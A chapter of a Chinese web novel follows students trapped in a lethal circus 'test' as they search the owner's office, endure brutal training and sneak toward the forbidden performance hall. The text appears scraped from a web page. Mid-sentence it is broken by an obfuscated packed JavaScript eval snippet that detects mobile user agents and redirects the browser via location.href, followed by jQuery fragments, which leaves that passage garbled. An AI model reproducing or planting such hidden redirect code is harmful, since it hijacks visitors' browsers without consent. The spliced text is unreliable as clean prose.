20. 奇迹杂技团

作品:《高考后穿进了夺命测试

    “老板,您回来了!”外面传来池佑刻意放大的声音,两人迅速将东西放回原位,在老板回来前翻窗逃了出去。


    “我刚吃完饭在这边上闲逛呢,没想到这么巧跟您碰上了哈哈。”那边池佑还在自言自语,老板根本没搭理他,径直走进办公室。


    “呼,吓死我了。”池佑小跑过来与两人汇合,“怎么样?”


    “有个保险柜打不开,得找办法弄到老板的指纹。”


    “可以晚点问问岑哥他们,或许有道具可以做到。”


    “嗯。”


    下午进行了一些力量训练,得挂在单杠上五分钟,上午失误的中年男人上了年纪身体发福,连一分钟都挂不了,只能在掉下后立马抓回去。看着他反反复复,喘气声越来越大,挂上的时间越来越短,后背黄色的练功服汗湿了一大片,样子十分狼狈,徐衔青心中五味杂陈。


    在这样的测试里,为了活下去,尊严什么的都得抛诸脑后。


    夜晚,那只箱子再次出现在宿舍门口。徐衔青第二次看到它,发现那好像是舞台表演专用的设备收纳箱。众人已知道里面有什么,并没有选择打开。


    “多待一天就多死一个人,我们得抓紧时间。”岑云阶说着,率先踏上楼梯,剩下人紧紧跟上。


    昨晚许橙关上的铁栅还没打开,缝隙里看不见人影,陈策铎上前将其一把拉开,陈旧的设备在地上刮擦出巨大的声响。“有人吗?”


    一道人影出现在走廊中央,看身形,是昨晚见到的那个男人。不过他这回没有冲上来追人,只是静静地站在那。


    “你们是新来的学员。”男人发出的声音沙哑别扭,感觉很不熟练。


    “你是什么人,为什么在这里?”岑云阶问。


    男人没回话,全身都处于黑暗当中,看不清他具体的神态,但徐衔青总感觉他那双眼睛正死死盯着这边。


    “我说你到底是人是鬼啊?”叶誉筠朝里面喊道。


    “我原本是这个园区的保安。”他没动,停顿了一瞬继续说,“剩下的问题,等你们进过演出厅我再回答。”


    “他这不是明摆着在坑我们吗,就没人进过演出厅还能活着回来的!”下楼后叶誉筠吐槽道。


    保安躲在宿舍三楼的原因未知,但肯定是迫不得已,他绝对比他们这些参与者知道的多,有他帮忙完成任务肯定也会更加简单。至于他提的条件,徐衔青猜测可能是他不想跟实力不够的人结盟。


    可要怎么进演出厅呢……


    回想起进来前做的梦,徐衔青心中隐隐约约想出一个方法,不过实在有些冒险。


    “同为长时间待在这里的人,他与杂技团里其他成员十分不一样。”许橙说,“可能是他知道的东西太过重要,不能让我们早些知晓,所以才设了这么个条件。”所剩时间不多了,她顺道说出今天的发现:“我们今天进了老板办公室,里面有一个带有指纹锁的保险箱,你们谁有能打开它的道具吗?”


    没人搭话。


    “行吧。”许橙遗憾地耸耸肩。


    众人今天都没搜寻到什么有用的线索,接着简单交谈一番后便回了各自的房间。


    时间到了第三天早晨,昨晚没人愿意与那名掉下单杠的男人共住,他也果不其然死了。


    岑云阶推开寝室门时与他的尸体直接脸贴脸——男人双手向上抓着门框,脚悬空于地面,面部跟易奕一样流着血。


    岑云阶皱着眉往后退了一步,旋即转身看向众人。


    “走吧,今天的训练都小心点。”


    这一天的训练再次刷新了高度,在他们扎好标准的马步后,师姐往他们头上一人放了几块砖。


    不是舞室里的那种泡沫砖,而是实打实的红土砖。


    徐衔青本来体能就不算突出,只能咬牙战战兢兢的坚持。


    等这组做完,师姐让他们将砖头放到地上。


    “站上去,一只腿曲折一只腿往前伸。”没人行动,师姐又补了一句,“脚掌与砖块的长垂直。”


    许多人都面露难色,这个动作对于他们来说难度实在太高了。可又无人敢违抗命令,只好硬着头皮尝试。


    徐衔青站在原地,觉得自己会摔死。


    明天其他人就能看见她的尸体在寝室里做单腿屈膝蹲了。


    “做不了力量训练的可以过来拉伸。”


    师姐说出的这句话宛如天籁,顾不上里面会有什么阴谋,徐衔青率先朝她走了过去。


    “趴下,双手交叉放在脑后。”


    她照做。


    一只膝盖抵上肩胛骨中间,接着两只手肘被抓住往后用力一掰。


    只听见清脆的一声嘎吱,徐衔青眼前一片黑,那一瞬身体失去了呼吸的能力,砸回去的时候全身血液都开始往头上涌,耳边只剩下嗡嗡的声音。


    没等她缓过来,那只膝盖挪到下方一些的位置,手臂被摆回原位。


    又是嘎吱一下。


    “呃啊!”


    徐衔青忍不住痛呼一声,手臂肩膀后背,所有的疼痛都朝她袭来。


    紧接着又是一下。


    徐衔青仿佛成了一条死鱼,趴在地上一动不动。


    “拉伸完就去单杠上挂着。”


    徐衔青支撑着仿若重塑的身体爬起来,走向单杠。


    目睹完她的惨状,剩下的参与者还是有几个选了拉伸,其他人在砖块单腿蹲着的时候他们就在单杠上挂着。


    好在上午的训练每个人都坚持下来了,众人悄悄松了口气。


    临近吃饭时间,老板的身影再次出现在训练场里。场内氛围顿时变得紧张起来,人们的心再次被狠狠揪紧,身体像是被定在了原地,连呼吸都放的极轻。


    “下午的演出需要一个学员帮忙,机会难得,谁想上舞台?”


    有了昨日的教训,一时无人出声。


    眼看没有回应,老板又重复了一遍。


    “下午的演出需要一个学员帮忙,机会难得,谁想上舞台?”


    “我靠!”随着一声脏话,叶誉筠被人用力一推,向前迈了一小步。


    “你tm!”反应过来那人是想害死自己,顾不上走过来的老板,叶誉筠回头朝不知何时挪到自己身后的男人脸上就是一拳,几拳后被老板拽走,脸上依旧没有丁点害怕的神


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188612|196163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    色,眼神狠厉,指着男人的鼻子吼:“你等着!老子就算今天死了,也一定会变成厉鬼回来索你的命!”


    男人脸上全是於青,鼻血顺着下巴一滴滴落到地面,人已彻底疯魔,捂着脸大笑:“哈哈哈,我活下来了,我活下来啊——”季南箫抬腿朝男人腹部猛踹一脚,男人疼得蜷起身子,几乎要趴到地上。


    “今日你耍肮脏手段活下来了,不代表你能活着出这个测试。”季南箫看他的眼神仿佛在看一片垃圾,冷冷地丢下一句话,转身离开。


    “衔青,小衔青?”许橙用力地在好友眼前招手,“这会别想别的,把饭吃完先。”


    “嗯。”徐衔青有一搭没一搭往嘴里送着饭。


    本来觉得昨晚想的方法过于冒险,不过今天这个情况……看来计划得提前了。


    “衔青。”徐衔青感受到肩膀上的重量,抬头看向前方,许橙眼里满是关心与郑重。


    “不管怎样,你要行动的话一定告诉我,不要一个人去冒险。”


    “我和你们一起去。”池佑附和道。


    “好。”徐衔青心里涌起一股暖流,出声应下。


    “你们看见衔青了吗?”中场休息的间隙,许橙拦住季南箫,语气急切。


    刚刚还在身边,怎么一会没看住就找不着人了!


    “没有。”季南箫表情变得严肃。


    “徐衔青不见了?什么时候发生的事?”她身旁的黄凝玉问道。


    “就刚刚。”这下许橙心中最后一丝侥幸也消失了,按照徐衔青的性子,绝对是捣鼓出办法,又不想别人陪着她玩命,算准时间在她和池佑都不知情的状况下偷摸着溜了。


    “小骗子……”中午才答应的一起行动。


    “欸,你去哪?”黄凝玉惊呼一声,“训练时间不能离开训练场!”


    “去抓人。”季南箫眼神坚定狠厉,没有丝毫停顿继续往前走。她自然是记得这条规则的,可徐衔青现在已经违反了,她不可能继续待在这里。


    “那我跟你一起去!”


    “你们两个人虎什么?”许橙上前拦住两人,“衔青是做好准备才去的,你们去了只会给她添乱。”


    “许同学说的有道理,你们稍安勿躁。”闻声赶来的岑云阶劝到。


    “所有人回来训练!”一片混乱中,带教的师姐吹响了口哨。


    季南箫低下头停住脚步,半晌捏紧拳头朝师姐走去。其他几人看她放弃离开也松了口气,回到队伍里。


    从演职人员专用通道进去徐衔青就感受到一股令人毛骨悚然的寒意,过道里没有灯,周围只剩死一般的黑暗与寂静,仿佛在穿越一条看不到出路的隧道。


    规则里有写学员不能进入表演厅,可老板每天都要挑选一名学员来演出,两条看似相悖的死亡定律,现在感觉更像是测试特意给他们提供的线索——演出厅这个地方有十分重要的东西。


    越往里可见度越低,她只好摸着墙壁向前。走到一个岔路口,终于让她摸找了一个像是告示牌的东西,把脸贴近后发现是个路线指示牌。


    记下场馆布局,徐衔青抬腿前往第一个目的地。